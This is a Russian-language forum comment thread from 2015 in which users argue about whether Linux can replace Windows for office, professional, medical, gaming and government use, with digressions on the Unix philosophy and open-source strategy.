Вы будете смеяться, но в "открытую систему", чей код никто из присутствующих здесь прочесть не в состоянии, таки впаривают периодически закладки и трояны. Совсем недавно вычислили закладку в SSL. А теперь расскажите мне про "безопасность" линуха. Уважаемые, линукс требует для своего использования грамотность, каковой практически никто здесь не обладает, полное урезание в правах пользователей, блокировке всего и вся файрволами и много чего еще. Это не просто убунту поставить - и весь мир в твоих карманах. Скорее, это чьи-то руки в твоих.

Аватар пользователя StalkerJS
StalkerJS(4 года 4 месяца)(22:56:45 / 24-10-2015)

Да я вообще-то примерно про это.

Аватар пользователя Spartan
Spartan(2 года 4 недели)(21:29:07 / 29-10-2015)

Бесполезно.

Пингвинья секта ВЕРУЕТ.

Комментарий администрации:  
*** Флудер, кандидат на лидеры бан-рейтинга ***
Аватар пользователя ленивый
ленивый(2 года 5 месяцев)(03:18:15 / 24-10-2015)

Автору стандартный вопрос из 90-х от американцев: Вы доверите жизнь своего ребенка винде ? Речь о чем-то типа исскуственного сердца или почки или легкого после или перед операцией. А линуксу запросто. Не надо всей этой демагогии, тем более так много.

Все вокруг винды (сама компашка мусорсофт, продавцы и прочее) - это обычный канал вывоза инфляции из штатов. В научом смысле винда - это тупик. Вот тут можно почитать

http://flibusta.net/a/2383

Аватар пользователя LvKiller
LvKiller(3 года 4 месяца)(20:01:08 / 24-10-2015)

Я бы вам показал компьютер, который ради шутки год назад мы поставили в одной очень скупой конторе. Хост - Windows 8.1, на нем виртуализировано три виндовых же сервера 2012R2 - один из которых FSMO, второй - терминальный, третий - WSUS. Аптайм на сегодня -------- 5 месяцев... Оборот конторы - триста лямов зеленых в месяц. Простой в час - это... считать умеете? И доверили.

Аватар пользователя Ayatola
Ayatola(4 года 7 месяцев)(05:22:28 / 24-10-2015)

Дискуссии так и не вышло. Всё свелось, как обычно к задиранию носа и трём сакраментальным ответам: А у меня всё летает! RTFM! Тя чо, ламер, в гугле забанили! Кстати про RTFM, единственную вменяемую книжку на русском языке ( в бумажном ещё варианте) видел в 1989, называлась она ( если склероз не изменяет) "Операционные системы UNIX и XENIX для пользователей" и там с картинками примерами с самых азов, для самых тупых обывателей. Ребята, если вы так хотите популярности своей системы, напишите вменяемую книжку ( бесплатно) и выложите её в сеть и народ потянется (ожидаю наброс про труд, который должен быть оплачен;)). Да, если не трудно, ответье  кто-нибудь, почему в Линуксе нет просмотра "списком"?

Аватар пользователя zander
zander(2 года 9 месяцев)(11:22:12 / 24-10-2015)

Да, если не трудно, ответье  кто-нибудь, почему в Линуксе нет просмотра "списком"?

А вы об чем? об этом что ли?

Аватар пользователя Ayatola
Ayatola(4 года 7 месяцев)(08:46:59 / 24-10-2015)

Картинки не грузятся.

Аватар пользователя zander
zander(2 года 9 месяцев)(11:03:59 / 24-10-2015)

А в чем проблема загрузить картинки? Там скрин из моей убунты с содержимым папки отображаемым списком и окошко с описанием системы. Если я правильно вопрос понял.

Аватар пользователя Ayatola
Ayatola(4 года 7 месяцев)(11:13:51 / 24-10-2015)

Только не в Огнелисе не в Опере картинку-то и не видно, а у нас джентельменам на слово не верят. Кстати, это о чём я писал выше "А у меня всё работает".

Аватар пользователя zander
zander(2 года 9 месяцев)(11:22:43 / 24-10-2015)

Загрузил на сервер

Аватар пользователя zander
zander(2 года 9 месяцев)(12:13:25 / 24-10-2015)

Ну так чего? Я правильно вопрс понял и ответил на него?

Аватар пользователя LvKiller
LvKiller(3 года 4 месяца)(20:02:43 / 24-10-2015)

Убунтовод - не линуксоид. Уж простите за прямоту.

Аватар пользователя zander
zander(2 года 9 месяцев)(20:04:30 / 24-10-2015)

Ну он спросил про линукс? Убунту - это линукс? при чем тут убунтовод и линуксоид?

Аватар пользователя Ayatola
Ayatola(4 года 7 месяцев)(02:00:24 / 25-10-2015)

В Винде это называется вид - таблица. 

Аватар пользователя zander
zander(2 года 9 месяцев)(14:38:45 / 25-10-2015)

А, наверное мало кому нужно :)

Аватар пользователя ®man
®man(3 года 8 месяцев)(14:49:51 / 25-10-2015)

ровно это-же можно сказать и про сам линукс ;)

Аватар пользователя Sitius
Sitius(2 года 5 месяцев)(07:42:39 / 24-10-2015)

>>> А видим мы стаю пингвинов, уподобившихся стае папуасов из соседней вназимбабвы. Разница лишь в брендах. Замените Газпром на Майкрософт, а тоталитарный хаз на богомерзкую венду и вы получите скачущих за реверсные поставки линукс с вайном кулхацкеров с линуксом головного мозга. Один в один.

Посмотрите на себя!

 

Работаю преимущественно на линуксе много лет (последние лет 10). И вот какой-то аффтар рассказывает мне о стаях пингвинов, которые сошли с ума. Что мне что-то не хватает и я какой-то ущербный. Что я скачу. Что Windows это не кривой переоцененный продукт, а невозобновимый природный газ.

Ну что ж. Посмеялись и идем дальше.

Комментарий администрации:  
*** Уличен в поддержке разжигающих, отчислен ***
Аватар пользователя ®man
®man(3 года 8 месяцев)(13:25:55 / 24-10-2015)

здесь я извиняюсь.

конкретно этот вывод сделан в результате обсуждения статьи на которую есть ссылка в самом начале моего текста

надо признать, что есть «радикальные» линуксоиды и есть «умеренные». сказанное мной относится к радикалам

и признаю, что эта ситуация в полной мере справедлива и к виндузятникам и к макодрочерам, да и к любым другим религиям

в моём тексте заданы конкретные вопросы о конкретных инструментах которые решают очень много бытовых и бизнес задач. хотелось бы получить от сообщества линуксоидов такой же практичный ответ без ора и ололошенек про гимп и коммандную строку

Аватар пользователя Весельчак Ы

Blender(который, нужно признать, есть и под *nixы).

Blender разрабатывается как кросс-платформенное приложение, в среде Linux. Есть сборки под винду и огрызки.

Существует ли линуксовый софт способный заменить всё ПО на кондитерской фабрике? Не только у секретарши в приёмной у директора, но и у терминала машины по замесу теста для печенек.

Названия программ есть?

Если вы уверены, что LibreOffice способен вытянуть тот объём документооборота и заменить пакет от ненавистного микрософта в «пенсионном фонде» в среднестатистическом российском городе-милионнике, сходите и посмотрите на чём там работают.

Еще в 2004-м OpenOffice Impress вытянул из поврежденного файла презентации из-под Power Point все сохранившиеся слайды, сам Power Point орал что файл поврежден и нихрена больше не делал. (LibreOffice начал разрабатываться в 2010 на основе исходного кода OpenOffice)

Хотя вот автоконцерны, вроде бы как, договорились и купили платформу для бортового навигационного компьютера и что-то там пилят сейчас вскладчину. Ну и производители тож не отстают.

Они купили картографический сервис, т.е. базы данных, карты, а никак не Linuux

В общем, в тексте есть еще ряд неточностей (и все направлены строго в одну сторону). Это либо незнание, либо сознательный наброс, уж незнаю что именно.

Аватар пользователя ®man
®man(3 года 8 месяцев)(13:36:38 / 24-10-2015)

Blender разрабатывается как кросс-платформенное приложение, в среде Linux. Есть сборки под винду и огрызки.

разве у меня не именно это написано? а по остальному софту есть что сказать?

Названия программ есть?

вы видимо прочитали, но в суть не вникли, что свойственно линуксоидам. это я задаю вопрос: приведите мне пример линуксового софта которым можно заменить весь софт в городской поликлинике, чтобы и в регистратуре работало и в кабинете врача с мед оборудованием.

при чем тут повреждённые файлы поверпоинта?

да. автоконцерны купили приложение карт для своих бортовых навигаторов и по большому счёту не важно, какая там будет система, хоть марсианская.

в общем смотрю в книгу вижу... сами знаете что

Аватар пользователя Весельчак Ы

вы видимо прочитали, но в суть не вникли, что свойственно линуксоидам. это я задаю вопрос: приведите мне пример линуксового софта которым можно заменить весь софт в городской поликлинике, чтобы и в регистратуре работало и в кабинете врача с мед оборудованием.

Вот как раз и хотел узнать какие именно  программы нужно заменить на их Linux аналоги, а вы грубить начинаете. Я в медицине не специалист, и спросить мне больше не у кого. То-же самое и на ваш предыдущий вопрос про пекарню (хлебокомбинат): какие программы там используют, можно поискать аналоги.

Что касается всего остального программного обеспечения, на которое вы ссылаетесь, то вам уже писали в этой дискуссии: САПР-ы, программы обработки графики, звука и видео раньше появились на юниксах, и только потом для виндовс. Например, спецэффекты в голливудских "шедеврах" "Терминатор 2", "Парк Юрского периода" создавались на станциях Silicon Graphics под управлением их собственной версии системы юникс. Это было в 1991-1993 годах.

А пример с PowerPoint-ом показывает что еще 10 лет назад OpenOffice работал лучше чем M$.

Аватар пользователя ®man
®man(3 года 8 месяцев)(17:49:39 / 24-10-2015)

извините, если уж мой ответ показался вам грубым

у стоматологов для сканирования и работы со сканами челюстей весь софт (практически) работает под вендой. в подробности я не лез. рассмотрел то, что позволили друзья. по большей части в любой клинике, практически везде, стоит венда, но задачи в каждом кабинете свои специфические. это опять же от друзей медиков. у меня их и в семье много. общаюсь. перечислять конкретный софт я не могу. не работал я одмином в поликлинике.

поэтому самому было бы интересно. если у линуксоидов на всё есть своя маленькая програмулина для решения бытовых задач, есть ли у них такой же набор софта и для решения не бытовых задач, а к примеру медицинских.

вот тут меня справедливо тычат носом. к сожалению это единственный подробный предметный технический комментарий к моим вопросам

 

Аватар пользователя ДоброКот
ДоброКот(3 года 6 месяцев)(09:42:21 / 24-10-2015)

3. Суровые игровые компьютеры.

внезапно, суровые игровые компьютеры работают по юниксом

The native operating system of the PlayStation 3 is CellOS, which is believed to be a fork of FreeBSD;

Аватар пользователя Huch
Huch(5 лет 1 месяц)(09:59:04 / 24-10-2015)

Я конечно не большой специалист во всех обозначенных вами областях применения разного софта, но вот говорить про САПР и "не вспомнить" про Catia и упомянув 1С "забыть" про SAP - очень характерно для адепта мелкомягких. И да - типографии и издательства смотрят на вас с недоумением из-за мониторов своих Маков

Аватар пользователя progserega
progserega(5 лет 3 месяца)(10:40:41 / 24-10-2015)

Автор описал тактические моменты. Но даже на них можно посмотреть с разных сторон. Например у себя на работе, когда я вижу, как люди мучаются, "работая" в MS-офисе и новом Outlook-е - становится их жалко. Но я допускал, что это моё предвзятое мнение, однако пообщавшись с людьми - я понял, что они мучаются. Разница лишь в том, что одни не знают иного, другие - догадываются, что это не нормально - третьи же знают, что есть иное.

На мой скромный взгляд вся эта парадигма ПО-комбайнов (огромных программ, пытающихся сделать всё) - это "боль и страдание" зачастую. По нескольким причинам:

1. Программисты, пишущие "комбайн" никогда не смогут учесть всё то количество ситуаций, которое нужно решить с помощью ЭВМ. Попытки создать комбайны "под все случаи жизни" приводят к ситуации "раздвувания" ПО до размеров и сложности, превосходящей понимание нормального человека. Количество частностей зашкаливает.

2. Сложность комбайна порождает огромное количество ошибок. В результате пользователям приходиться "бороться" с комбайнами, отчасти от ошибок в комбайнах, отчасти от непонимания внутренней логики этих огромных кусков кода.

Другая парадигма - это так называемый "unix-way": "Одна программа делает мало, но делает это хорошо". Это множество маленьких и простых "кирпичиков", из которых можно создать конструкцию любой сложности. При этом эта конструкция будет понятна, потому что понятны части, из которых она создана. Особенности:

1. ПО получается стабильным, т.к. простые кирпичики проще отладить, они содержат меньшее количество ошибок.

2. ЭВМ позволяет решать широкий диапазон задач. И исключить ручную работу. Сейчас количество ручной работы у работников офисов огромно и она, эта работа - мучительна и зачастую бестолкова. Чего только стоят талмуды по оформлению документации в вёрде.

Пример подобного подхода - LaTeX. Машина должна работать, а человек думать. Многие вещи не нужно заменять на линукс-ПО - их нужно просто исключать как класс. Убирать пережитки. Чего стоит только практикуемое сканирование документов, отправка по электронной почте, печать их, подпись "факсимилью" и опять сканирование их и отправка назад...

Это что касается тактических аспектов. Но тут сайт, как я понимаю с некоторым уклоном в стратегический аспект. И если посмотреть с этой позиции, то вопрос, который поставил автор не имеет смысла вообще. Нужно ставить иной вопрос: "На что стратегически более верно для человечества и страны в частности ставить ставку - на ПО с закрытым кодом или на ПО с открытым кодом?"

И ответ на этот вопрос: "На ПО с открытым кодом". По идее это всем должно быть понятно, но если бы это было так, то не возникало бы подобных статей. Итак, обоснование:

1. Уменьшение дублей ПО.

2. Увеличение срока жизни ПО (смена платформ, API, интерфейсов, изначального автора не приводит к прекращению работоспособности ПО). Как следствие - уменьшение усилий человечества и страны на создание инструментов автоматизации своей деятельности.

3. Коопирация, а не конкуренция. Уменьшение затрат, большая эффективность. Выигрывают все.

4. Обучение. Открытый код - это достояние всего человечества. Взращивание специалистов более просто. Оно не зависит от монополии каких-то отдельных компаний. В случае закрытого кода - система - это чёрный ящик. Глубокого знания достичь крайне сложно. Знание становится уделом отдельной касты ("реверс-инжиниринг" - не вариант).

5. Геополитическая независимость. Опять же выигрывают в конечном счёте все.

6. Безопасность. Кто бы что ни говорил, а открытый код проверяется. Если говорящий не программист с опытом, это не говорит о том, что по соседству нет программистов, которые понимают даже самый сложный код самых сложных продуктов. Более того, если мне не изменяет память - есть инициатива в проекте Debian по автоматической проверки подлинности бинарных пакетов - т.е. подписанные открытым ключом пакеты с исходным кодом компилируются на машине и результат сравнивается с бинарным пакетов в дистрибутиве. Там есть момент с датой компиляции, но это решаемо. Про безопасность закрытого кода даже и говорить не вижу смысла. Более того, озвучивал на этом ресурсе это ранее.

7. Более того, надёжное ПО важно всем. Как нам, так и геополитическим противникам. Одно дело, если корабль просто завис, а другое - если он запустит ядерные ракеты и начнёт ядерный апокалипсис.

В свете вышеизложенного подобные диспуты, мне кажется, стоит закрыть, чётко установив стратегичискую цель для человечества.

Аватар пользователя Ayatola
Ayatola(4 года 7 месяцев)(11:35:24 / 24-10-2015)

7. Более того, надёжное ПО важно всем.

Да вы, батенька, с бухгалтерами не работали, иначе бы знали все программы обновляются непосредственно перед и во время отчётов налоговые, пенсионные, по алкоголю (о,да!) и т.д. и т.п. Программисты (сволочи) тоже кушать хотят, а поскольку их развелось как собак нерезаных, они норовят показать что они тоже работают именно во время отчётов. Депутаты им помогают, читаешь каждый раз какие формы обновились в 1С и тихо ТБМ. Или Spu_orb как отчёты начались 2-3 обновления за неделю. Да что жаловаться, подводная лодка может управляться 486м процессором, истребитель 386м, 1С начиналась с дискет,а сейчас ей такое подавай, но Касперский затупит и это. В 1999 я был восхищён дискеткой с QNX, но выяснилось что за удовольствие надо платить, а так да, бесплатный Линукс он только в головах пингиноидов мышеловке.

Аватар пользователя zander
zander(2 года 9 месяцев)(12:45:37 / 24-10-2015)

Так, а чего вообще хотели сказать? 1С - оно вроде как не бесплатное и с Ваших слов еще то удовольствие :)) Т.е. явное противоречие с последней фразой :)

Аватар пользователя ®man
®man(3 года 8 месяцев)(14:26:55 / 24-10-2015)

спасибо за существенное дополнение

оутлук это не комбайн. оутлук это одно приложение из целого комплекса. которые вместе, выполняя каждое свою часть, помогают человеку (тут, конечно, много вопросов о качестве этой помощи) решить ряд его бизнес задач.

то же самое относится и к остальным

в пакет от адоба входит очень много больших приложений, каждое из которых делает свою часть работы выдавая на выходе готовый цифровой (и не только) продукт. при этом каждое из них имеет интеграцию в соседнее и можно одновременно работать над разными частями продукта в соответствующем приложении

это как цеха на заводе

своим дополнением вы расширили мой вопрос: какой завод нам строить? какие в нём будут цеха? что нам важнее?

Аватар пользователя progserega
progserega(5 лет 3 месяца)(05:06:51 / 25-10-2015)

оутлук это не комбайн

Может быть он и не выполняет большое количество действий, тем не менее интерфейс у него как у комбайна:

Да, я думал, что я придирчив и его интерфейс только у меня вызывает невольный вопрос: "Это кабина самолёта или просто программа просмотра почты?" Но как выяснилось - пользователи тоже "стонут" после перехода с outlook express:

А ведь делают одно и то же... И я ещё не говорю о багах и глюках в них.

в пакет от адоба входит очень много больших приложений, каждое из которых делает свою часть работы выдавая на выходе готовый цифровой (и не только) продукт.

Это не кирпичики. Это комбайны, которые делают какие-то полуфабрикаты. Кирпичики легко позволяют объёдинять их в единые автоматические цепочки.

К примеру, можно ли легко, не погружаясь во в какой-нибудь встроенный Visual Basic и COM-объекты (а поможет ли?) автоматически на сервере получать почту аутлуком, анализировать её, брать из неё определённые данные, конвертировать их в нужный формат и отправлять на проверку инженеру (по почте)? Обычно это решается тем, что садится на получку ещё один клерк или же эта задача (бестолковый ручной труд) навешивается на одного из офисных служащих, который, используя эти "приложения из целого комплекса" с помощью кнопочек экспорта и импорта ("интеграции") и ручной правки промежуточных "готовых цифровых (и не только) продуктов" решает "ряд бизнес задач".

Из кирпичиков это сделать можно и оно будет работать САМОСТОЯТЕЛЬНО: getmail, sendEmail, grep, bash, convmv, ripmime и т.д. - кирпичики, которые просто делают одну задачку, и имеющие простой интерфейс для автоматизации. ПРОСТОЙ интерфейс. Используя кирпичики, даже средней квалификации инженер может автоматизировать процессы. В ином случае - нужно просто садиться и писать ещё один специфичный комбайно-код под определённую задачу. Так обычно под платформой MS и происходит. Если нужно что-то сделать сложнее батника из пяти последовательно-запускаемых команд - ищется комбайн в гугле, либо пишется комбайн. Середины нет. Ну, за исключением клерка, который будет всё это делать "руками", тыкая кнопочки в "комбайнах".

Даже в микрософт уже это поняли и создали свой powershell. Который частично занял эту середину. Потому что кирпичики позволяют автоматизировать работу. Графические монстры/комбайны - нет, или с трудом и частично.

Более того, рассуждая в рамках "бизнес задач" и "приложений из целого комплекса", оперируя этими понятиями сверху спускают пользователям задачи за рамками разумного: "вколотить всем краем в этот эксель данные об амортизации оборудования" - ведь современный эксель может работать с миллионами строк. А то, что для этого люди придумали базы данных и веб-интерфейс, а то, что в эти базы данных нужно один раз ввести данные, вычистить и автоматизировать процессы - это недосуг. И оно потом тупит, глючит и в конце концов этот эксель на десятки мегабайт корячится и перестаёт открываться... Но апофеозом была задача вбить все отчёты в презентацию, чтобы потом, как я понимаю, её показывать топ-менеджменту.

И люди тут не виноваты. Виновата парадигма, которую им навязали. Они мыслят в рамках этой парадигмы. И используют её в решении повседневных задач. А если решение этих задач имеет большой масштаб и задействует большое количество людей, то получаем то, что получаем. И изменить это, зачастую, очень сложно. Но нужно. А изменить человека сложно. И можно ли? Человек меняется сам. Легче, когда изначально, со школы закладывается стратегически более правильная парадигма, которая предполагает автоматизацию процессов. Компьютеры должны работать. Желательно сами.

А комбайны хорошо продавать. Потому что их нужно всё больше и больше. Под каждую задачу нужен свой особый монстр. Это отрасль. Чего стоит только продажа новых версий ОС. ОС - это просто абстракция между оборудованием и ПО. И набор утилит/кирпичиков в лучшем случае. Всё! Это программная прослойка! Не более. Но сколько помпезности, сколько шуму при выходе... АПИ-прослойки! Поменяли меню, вид окошек, цвет... Сколько на это тратится средств, времени тех, кто делает, тех кто обсуждает, тех кто пишет обзоры, тех средств, которые тратятся на переезды предприятий на новые окошки, время работников на поиск старой кнопочки в новом интерфейсе... Это энергия людей, это энергия в буквальном смысле. Энергозатраты в пустую.

Потому что комбайны можно продавать раз за разом. Меняя цвет, форму кабины, форму интерфейса. То плоский, то объёмный, то опять плоский. А кирпичи несколько раз сложно продать. Вышла новая версия утилиты find! Ну и что? Вышла и вышла. Обновили в рамках запланированного обновления и всё. Эти мелкие эволюционные, незаметные, но важные тем не менее изменения особо не продашь. И не надо. Исправили ошибки в открытом коде, прилетело обновление пары утилит и всё. Целый пласт маркетинга, рекламы - не нужен.

своим дополнением вы расширили мой вопрос: какой завод нам строить? какие в нём будут цеха? что нам важнее?

Странно, что Вы не увидели в моём сообщении этого ответа. Развёрнуто я описал выше. Кратко:

Свободное ПО не есть бесплатное. Это стратегический аспект.

Философия UNIX - это парадигма, которая позволяет оптимизировать трудозатраты при работе с системой.

 

Аватар пользователя ®man
®man(3 года 8 месяцев)(11:37:03 / 25-10-2015)

можно ли легко, не погружаясь во в какой-нибудь встроенный Visual Basic и COM-объекты (а поможет ли?) автоматически на сервере получать почту

в венде есть альтернатива: Bat. она полностью подходит под то, что вы описали. это одно приложение с настройкой которого справиться директор средней руки (знаю лично такого), а не куча маленьких приложений под линукс которые нужно настраивать из терминала админу, который работает за ЗП. и клерка садить не нужно.

И люди тут не виноваты.

подобные ситуации ни как не зависят от программного обеспечения и тут действительно вопрос из другой плоскости. об этом здесь в обсуждении уже говорилось.

А комбайны хорошо продавать

возможно я не совсем правильно подобрал термин. сегодня на заводах вместо токарных и фрезерных станков (да и еще пары десятков других) используют агрегаты которые сами меняют резцы и свёрла вытачивая тем самым за час то, что раньше точила вся смена за два дня

пресловутый фотошоп – это один из таких агрегатов, который очень сильно автоматизирует (там есть работа со скриптами и она работает) рабочий процесс.

если сравнивать современное подобное ПО, то я вижу каждую такую отдельную программу в виде целого цеха, а весь пакет или комплекс программ в виде завода – комбайна.

если же для каждой ускоспециализированной задачи, которую никак нельзя автоматизировать – садить человека с однозадачным приложением, то тут мы только усугубим сегодняшнюю ситуацию в современной системе разделения труда, атомизировав общество ещё больше. уже сейчас система выстроена таким образом, что в ней присутствуют, условно, два специалиста по волосам, один в левой ноздре, другой в правой и они друг друга не понимают, потому что специалисты в разных областях научной деятельности. даже если часть процессов удастся автоматизировать, разбивать оставшиеся на отдельные однозадачные приложения, на мой взгляд, не правильно. таким сверхатомизированным обществом управлять будет ещё легче.

 ОС - это просто абстракция между оборудованием и ПО

здесь я полностью согласен и это тоже уже говорилось в обсуждении к этой статье

Свободное ПО не есть бесплатное. Это стратегический аспект.

Философия UNIX - это парадигма, которая позволяет оптимизировать трудозатраты при работе с системой.

здесь я могу согласиться только на половину. да, у свободного ПО бесспорно огромное преимущество перед проприетарным в виде его открытости, но как уже написано выше – философия UNIX может привести к дальнейшей атомизации общества, что, мне кажется, только усугубит ситуацию в мире. т.е. с точки зрения современного мира и современной модели экономики, это конечно определённого рода выход. появляется возможность занять огромное количество высвободившегося населения на однозадачных ускоспециализарованных приложениях, в то же время образование можно точно так же подогнать под эти процессы и растить не условных роботов, а реальных. на мой взгляд это не то, чего здесь на ресурсе все хотят. возможно я в чём-то ошибаюсь.

Аватар пользователя greygr
greygr(5 лет 9 месяцев)(11:01:11 / 24-10-2015)

Автору моё уважение

Поскольку вне работы (а там тоже венда и офис) занимаюсь музыкой,альтернативы нет совсем. Кубас под венду, протулз под макось.

Аватар пользователя TEvg
TEvg(2 года 10 месяцев)(12:02:58 / 24-10-2015)

Линукс - основная встраиваемая ОС наших дней. Она стоит во многих-многих электронных аппаратах. Телевизорах, АТС, станках. Больше всего наверное в телекоме. Да, все эти ящички с моргающими светодиодами сегодня имеют внутри микропроцессор, а в нем не просто прошивку, а операционную систему. И не какую-то ОС, а именно линукс. Под линуксом летают все беспилотники. На линуксе работают все суперкомпьютеры. Винда существует на десктопах, а десктоп не самое распространенное сегодня устройство. Да винде удалось отъесть прежде совершенно невиндовые области - графику, игры, САПР, управление устройствами, АСУ. Например игры под винду стали преобладать только в конце 90-х. Графика до середины 90-х паслась на IRIX и макинтошах. САПРы под винду массово переписали к 2000-му году. Однако замечу что 90% вашего списка специализированного софта без которого по вашему немыслима никакая серьезная работа - успешно работает и в линуксе. А вот винда не поддерживает ни софт других ОС, ни другие файловые системы. Да, да все эти корельдравы, фотошопы и солидворксы прекрасно работают в линуксе, поэтому охи и ахи о непригодности данной ОС в графике и расчетах на прочность несостоятельны. Разумеется они же прекрасно работают и в винде и ставить не родную ос для фотошопа совершенно не обязательно. Но если по каким-то другим причинам нужен линукс, то без фотошопа в нем вы не останитесь.

Ну и основное, о чем собственно обычно и заводят речь - офисная работа, мультимедиа и интернет. Здесь линукс не только не уступает винде, но можно говорить о том, что полностью её превосходит. Так как как правило "из коробки" содержит нормальный, а не укоцанный офисный пакет, полный комплект кодеков и приличных плееров, нормальные браузеры и т.д. Чем ещё хорош линукс для работы в офисе - отсутствием вирусов и тормозных и глючных антивирусов, требующих постоянного обновления. Не надо страдать отключением флэшек при борьбе с вирусами и т.д. Возможно что полный перевод офиса на линукс нерационален, именно из-за наличия специфики, а вот перевод 80% парка машин под линь - вполне рациональное решение. Пользователям переучиваться нужно не больше чем при переходе по версиям винды. В итоге экономим бабло на основном софте, экономим на антивирусах, меньше имеем головняка с наездами карательных органов, проще работать ИТ-службе (можно держать меньший штат).

Комментарий администрации:  
*** Отчислен ***
Аватар пользователя ®man
®man(3 года 8 месяцев)(14:21:06 / 24-10-2015)

венда из коробки тоже вполне могла бы содержать нормальный софт. вопрос к антимонопольным органам которые даже части самой системы в некоторых случаях заставляют выпиливать. и справедливо конечно.

Аватар пользователя vlad02
vlad02(2 года 3 недели)(12:41:45 / 24-10-2015)

Даже зарегестрировался до того достал непрофессионализм афтыра.

Пирамиду Маслоу не поленился прицепить к обсуждению ИНСТРУМЕНТА.

Ведь вычислительный комплекс с периферией - это инструмент, познания, работы, отдыха а вовсе не цель. Соответственно когда глядишь в суть то сводим все к сунь - вынь (инь-янь по Успенскому) системе или женское (понты) мужское (дело). Не все же хуманитариям пытаться изображать умных используя посторонние ресурсы. Применим обычный мозг и используем тот же маркетинг Котлера. На какие ниши и для каких групп используется рекламируемый автором продукт и в чем его преимущество перед противопостовляемым? 

Первое замечание Linux это не Unix , а система построенная на ПРАВИЛАХ принятых в UNIX. Соответственно иначе и получите в ответ что Mac это один из клонов FreeBSD, Sony PlayStation тоже ответвление, Cisco и Juniper внутренние языки основаны на FreeBSD и многая многая другое.

В аппаратном плане Linux аналог IBM совместимых компьютеров работающих на ОТКРЫТОЙ АРХИТЕКТУРЕ отчего все преимущества и недостатки. Соответственно Microsoft это IBM PC белой сборки, аргументы сторон те же -  кто победил рассказывать надо?

Итак начнем с азов - дети, соответственно игры,

Windows - огромное количество игр с прекрасной графикой и т д и т п, ок , но это игры либо однодневки (по причине внутренней тупости), либо догони и убей пока не убили тебя, либо псевдосимуляторы чего-то там. За примерами далеко надо ходить? Что развивают?

Linux - огромное количество игр развивающих интелект и умение чтото сделать самому. Стандартные установки любого офисного дистрибутива дают малое представление о мире этих игр.

Люди постарше-наиболее распространенная группа пользователи и офисные работники. На всякий случай выделю-рассматриваем положение дел СЕЙЧАС а не 10 лет назад.

Домашний сектор - пока не затронут борьбой за авторские права и не учитывает стоимость программного обеспечения, соответственно пока  можно увидеть устанавливаемые забесплатно или смешные наборы сорел дро и адоб фотошоп для изменения разворота картинки или удаления красных глаз. Сомневаюсь, что в случае реальной оплаты ВСЕГО , что устанавливают в таких сборках из СОБСТВЕННОГО кармана обычный пользователь на это пойдет.

Деловой сектор - мелкая или средняя фирма - деньги тут все и выбрасывать их на ветер не даст ни один умный руководитель, дурак же долго не проработает(вылетит разорившись), а платить финполу и прокуратуре что бы не сесть за нарушение авторских прав, после чего покупать лицензии , что бы не делать это еще много раз?  Как говорят такие люди спасибо-не надо. Соответственно либо прямо либо косвенно все сидят на Linux, вы разве не знали что NAS(сетевой накопитель замена файлопомойки) и вся сетевая инфраструктура SOHO класса прописана на линукс? Аяяй а еще умничать пытаетесь. И да бухгалтерия 1С на которую так тут напирали увы под линукс давно и успешно работает.

Деловой сектор - крупная фирма. Казалось бы раздолье Windows продуктам, но ... увы вам , и здесь люди переходят на Linux, опять же порой не желая этого. Есть такая интересная штука-язык поддержка которого в мелкомяхкой продукции реализована по бизнес правилам-разделяй и властвуй, что приводит к откровенно неудобной работе в многоязычных компаниях.

Очень крупная компания- государство. Китай -  красный дракон-официальный линукс для гражданских структур. Для армии своя система основанная на UNIX. Россия, армейская система-линукс, в госорганах с ответственностью за треп и тупость ( есть такие, в есть секретки - такие отделы в которых расписываетесь за персональную ответственность что,где и кому сказали, кстати если вы разглашаете сведения опубликованные ДРУГИМИ источниками в свободный доступ, то с вас это ответственность не снимает, странно да? вы ведь не в курсе). Здесь уже играет уровень защищенности, и корпорация являющаяся частным филиалом АНБ не является желанным поставщиком дыр безопасности в любом государстве, но не все могут себе позволить отказаться от такой помощи.

Ученые и специалисты. Ну тут вообще лебединная песня. Тут долго и упорно поют песни про офис и идите посмотрите , так сходите и посмотрите. Попробуйте послать в СЕРЬЁЗНОЕ издание статью на MS и пошлют уже вас. Для невежд TEX и LATEX как его производная-вот инструменты реальной науки. Типография работающая на MS это дешевая забегаловка на 3 человека, в реальных вас опять же пошлют... за деньгами, что бы человек ответственный за верстку будет вашу ересь переделывать в НОРМАЛЬНЫЙ редактор.ю А вы что хотели? ЭТО ПРОФФЕССИОНАЛЫ.

3D моделирование, в MS? хаХаХА и снова мимо, графические станции для рендрига, MAYA и прочее это не для недоделков с кривыми руками (часть реального разговора со специалистами).

Сервера? Стойки? Таки вы уже разорили ту самую Cisco? Ах вы про рынок сохо? Так тут линукс окопался из соотнолшения цена возможности так чно не сгонишь.

Микроконтроллеры? та же и те же

Ни одна фирма не желает платить захрен знает что (лицензию на использование ПРОГРАММНОГО продукта) если можно то же и бесплатно-это бизнес детка и ничего личного.

Соответственно почему же вынь а не линь? Потому, что талантливая политика мальчика Била дала всходы и их мы и выпалываем. Привычка, к халяве(избывается юридическими и денежными карами) к тому что хочу как у соседа, к лени(ох это же сложно ПЕРЕУЧИВАТЬСЯ(избывается самой MS постоянной сменой интиерфейсов и форматов данных) и тп и тд

Да а кстати вы лично имели дело с документами 5-7 летней давности(хотя бы) сделаными в трех языках и требующихся здесь и сейчас в том же виде? Опен офис 2 не плывет в Либре офисе 5м а вот 2003 в 2010 это не то слово все форматирование уходит в лес.

Ну а про технику которая привязана к старым виндам и не отвязать во всех трех темах горестный вой, но про привязанную к старому линуксу что то я не нашел-подскажете?

Вам как высокоинтелектуальному образованному и воспитанному человеку это будет не сложно? Надеюсь.

Аватар пользователя СергиоПетров2

О да однодневки точняк : есть на компе игры 1999 года выпуска,в скайрим наиграл почти 700 часов и до сих пор не прошел до конца все время появляется новый контент.

И да игры на винде развивают : моторика рук,стратегическое мышление,тактическое взаимодействие(молодые люди игравшие в контрстайк-игры более грамотно действуют в боевой и близкой к боевой обстановке) и т.д

Аватар пользователя vlad02
vlad02(2 года 3 недели)(17:35:34 / 24-10-2015)

И да игры на винде развивают : моторика рук,

что то мне про синдром мышки послышалось? Не? Таки я вам скажу моторику рук развивает ТРЭКБОЛ это знаете ли реально проверялось на детках перенесших дцп, только шарик там был 6см, да приходилось решать и подобные вопросы, и да игры детей интересовали больше обычных упражнений

стратегическое мышление,тактическое взаимодействие(молодые люди игравшие в контрстайк-игры более грамотно действуют в боевой и близкой к боевой обстановке) и т.д

вы видимо точно в игры переиграли, это сказывается на мыслительном процессе

1 контр страйк игры есть и на линуксе (аргумент исключительности винды не зачтен)

2 близко к боевой обстановке это поскакушки с красящими шариками или аэрстрэйк?

